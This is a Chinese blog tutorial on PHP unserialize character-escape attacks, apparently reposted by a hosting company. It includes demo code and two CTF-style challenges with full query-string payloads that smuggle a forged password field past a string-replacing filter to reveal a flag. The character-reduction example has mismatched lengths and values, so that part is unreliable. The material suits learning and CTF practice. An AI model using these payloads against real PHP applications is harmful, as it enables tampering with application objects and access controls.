您现在的位置是:群英 > 开发技术 > 编程语言
PHP中字符逃逸的两种类型是什么样的?
Admin发表于 2022-09-21 09:30:51462 次浏览
关于“PHP中字符逃逸的两种类型是什么样的?”的知识点有一些人不是很理解,对此小编给大家总结了相关内容,文中的内容简单清晰,易于学习与理解,具有一定的参考学习价值,希望能对大家有所帮助,接下来就跟随小编一起学习一下“PHP中字符逃逸的两种类型是什么样的?”吧。


目录
  • 1.先说关键字符变多
    • 例题1
    • 例题2
  • 2.关键字符减少
    • 总结

      按我的理解,反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。如下序列化:

      <?php
      class Test {
        public $a = "aa";
        public $b = "bbb";
        public $c = "cccc";
      }
      $qwe = new Test();
      echo serialize($qwe);

      输出序列化结果为:O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}

      添加;}进行尝试:

      O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}修改为

      O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhahha 并尝试反序列化

      print_r(serialize($qwe));
      ​
      echo "
      ";
      ​
      print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha'));
      ​
      ​
      O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
      Test Object
      (
          [a] => aa
          [b] => bbb
          [c] => cccc
      )
      

      我们发现成功进行了反序列化操作,并且没有出现报错,因此可以说明反序列化以;}为结束标志,后面的内容则忽略不管。由此是不是想到了sql注入的相关知识?二者确实有一定的可类比性,都是通过构造闭合的方式构造payload,只不过字符逃逸构造闭合注意点在长度,因为闭合标志固定,都是;}

      值得一提的是,php中可以通过修改序列化后的字符串来反序列化出原本类中不存在的元素,如下:

      在unserialize的时候, 当你的字符串长度与所描述的长度不一样时就会报错.比如 s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"就会报错. 可以通过拼接字符串的方式来使它不报错

      所以字符逃逸又分为两类

      关键字符变多和关键字符变少

      1.先说关键字符变多

      反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。

      <?php
      highlight_file(__file__);
      function filter($str){
          return str_replace('l', 'll', $str);
      }
      ​
      class person{
          public $name = 'lonmar';
          public $age = '100';
      }
      $test = new person();
      $test = serialize($test);
      echo "</br>";
      print_r($test);
      echo "</br>";
      $test = filter($test);
      print_r($test);
      print_r(unserialize($test));
      

      因为替换过后,实际长度为7,而描述长度为6,少读了一个r 所以失败

      这种字符增多是反序列化失败是因为漏读了字符串的value,如果构造恶意的value,再故意漏读

      如令$name='lonmar";s:3:"age";s:2:"35";}'

      如果再进行替换,lonmar=>llonmar,后面的}又读不到

      再多几个l,lllllllllllllllllllllonmar=>llllllllllllllllllllllllllllllllllllllllllonmar ,";s:3:"age";s:2:"35";}就又读不到

      只能读到lllllllllllllllllllllonmar这样后面的;s:3:“age”;s:2:“35”;}就逃逸掉了,逃逸掉的字符串可以把原来后面的正常序列化数据提前闭合掉.(闭合条件";}

      ;s:3:"age";s:2:"35";}长度是22 , 所以只需要22个l,如下:

      <?php
      function filter($str){
          return str_replace('l', 'll', $str);
      }
      ​
      class person{
          public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';
          public $age = '100';
      }
      $test = new person();
      $test = serialize($test);
      var_dump($test);
      $test = filter($test);
      var_dump($test);
      var_dump(unserialize($test));
      

      可以观察到age变成了35, name不是llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";} 而是 llllllllllllllllllllllllllllllllllllllllllllonmar 因为;s:3:“age”;s:2:“35”;}逃逸,之后终止标志变成了;s:3:“age”;s:2:“35”;}里的;} 后面的就被忽略了。

      例题1

      <?php
      error_reporting(0);
      class a
      {
          public $uname;
          public $password;
          public function __construct($uname,$password)
          {
              $this->uname=$uname;
              $this->password=$password;
          }
          public function __wakeup()
          {
                  if($this->password==='yu22x')
                  {
                      include('flag.php');
                      echo $flag; 
                  }
                  else
                  {
                      echo 'wrong password';
                  }
              }
          }
      ​
      function filter($string){
          return str_replace('Firebasky','Firebaskyup',$string);
      }
      $uname=$_GET[1];
      $password=1;
      $ser=filter(serialize(new a($uname,$password)));
      $test=unserialize($ser);
      ?>
      

      这里要求password=yu22x,但是password的值已经设置好了,这里就是用反序列化字符逃逸使得原本的密码不被反序列化。 先进行序列化,在本地测试,可以将密码先改为yu22x,然后进行序列化,

      $uname=$_GET[1];
      $password='yu22x';
      $ser=filter(serialize(new a($uname,$password)));
      //$test=unserialize($ser);
      var_dump($ser);

      得到结果

      O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}

      需要吞掉的部分是";s:8:"password";s:5:"yu22x";}这是30个字符,每替换一次增加2个字符,所以需要15个Firebasky才可以,所以构造payload

      ?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

      这是需要当作username传入的参数,其实整个是

      O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}

      到第一个;}就会停止反序列化,更改的参数也是正确的,所以后面的password=1的部分就会被吞掉(忽略)。 反序列化成功就会得到flag。

      例题2

      上面那个是刚好够30个被吞掉,每替换一次吞掉两个字符。 所以算起来比较方便。 这个是不一样的。

      #unctf
      <?php
      error_reporting(0);
      highlight_file(__FILE__);
      class a
      {
          public $uname;
          public $password;
          public function __construct($uname,$password)
          {
              $this->uname=$uname;
              $this->password=$password;
          }
          public function __wakeup()
          {
                  if($this->password==='easy')
                  {
                      include('flag.php');
                      echo $flag;    
                  }
                  else
                  {
                      echo 'wrong password';
                  }
              }
          }
      ​
      function filter($string){
          return str_replace('challenge','easychallenge',$string);
      }
      ​
      $uname=$_GET[1];
      $password=1;
      $ser=filter(serialize(new a($uname,$password)));
      $test=unserialize($ser);
      ?> 
      

      还是在本地替换,替换正确密码。序列化结果。

      O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";} 

      这个是替换一次,增加四个。而需要吞掉";s:8:"password";s:4:"easy";}29个字符 无法正好替换,前面使用7个,则少一个,使用8个,则会多7个字符。 所以这里可以使用8个,后面使用一下占位符让其吞掉,比如;我理解的是因为遇到;}才会结束反序列化,所以在;前面加7个;使得反序列化成功。

      ?

      1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;

      或者

      ?

      1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}

      两个payload都一样的,可以序列化成功,得到flag

      2.关键字符减少

      在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作.

      <?php
      highlight_file(__file__);
      function filter($str){
          return str_replace('ll', 'l', $str);
      }
      ​
      class person{
          public $name = 'lonmar';
          public $age = '100';
      }
      

      同样的,如果构造恶意的age,让反序列化的时候多读,把age一部分读进去 同样可以达到某种目的

      正常的数据 O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}

      如果做替换,让也";s:3:"age";s:3:"被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}

      令$age=123";s:3:"age";s:3:"100";}
      O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
      多读的为 ";s:3:"age";s:26:"123 长度 21
      构造(l*42)nmar, 就多吞了部分字符串,
      name:
      llllllllllllllllllllllllllllllllllllllllllonmar =>
      lllllllllllllllllllllonmar";s:3:"age";s:26:"123
      age:
      123";s:3:"age";s:3:"111";}
      =>
      111



      以上就是关于PHP中字符逃逸的两种类型是什么样的?的介绍啦,需要的朋友可以参考上述内容,希望对大家有帮助,想要了解更多,欢迎关注群英网络,小编将为大家输出更多高质量的实用文章!

      免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。

      标签: php
      相关信息推荐
      2022-07-19 17:36:32 
      摘要:这篇文章主要介绍了Go container包,go语言container包中有List和Element容器ist和Element都是结构体类型。结构体类型有一个特点,那就是它们的零值都会是拥有其特定结构,但没有任何定制化内容的值,相当于一个空壳,下面一起进文章来了解具体内容吧
      2022-08-26 17:47:13 
      摘要:php将字符a转化为数字的方法:1、使用boolval()函数,语法“boolval('a')”,可将字符a转为数字1;2、使用ord()函数,语法“ord('a')”,会以整数形式返回字符a的ASCII值,即将字符a转为数字97。
      2022-05-14 17:06:37 
      摘要:本文为大家分享了h5解决移动端滑动卡顿的问题的方法,具有一定的参考价值,希望能够帮助到大家。
      云活动
      推荐内容
      热门关键词
      热门信息
      群英网络助力开启安全的云计算之旅
      立即注册,领取新人大礼包
      • 联系我们
      • 24小时售后:4006784567
      • 24小时TEL :0668-2555666
      • 售前咨询TEL:400-678-4567

      • 官方微信

        官方微信
      Copyright  ©  QY  Network  Company  Ltd. All  Rights  Reserved. 2003-2019  群英网络  版权所有   茂名市群英网络有限公司
      增值电信经营许可证 : B1.B2-20140078   粤ICP备09006778号
      免费拨打  400-678-4567
      免费拨打  400-678-4567 免费拨打 400-678-4567 或 0668-2555555
      微信公众号
      返回顶部
      返回顶部 返回顶部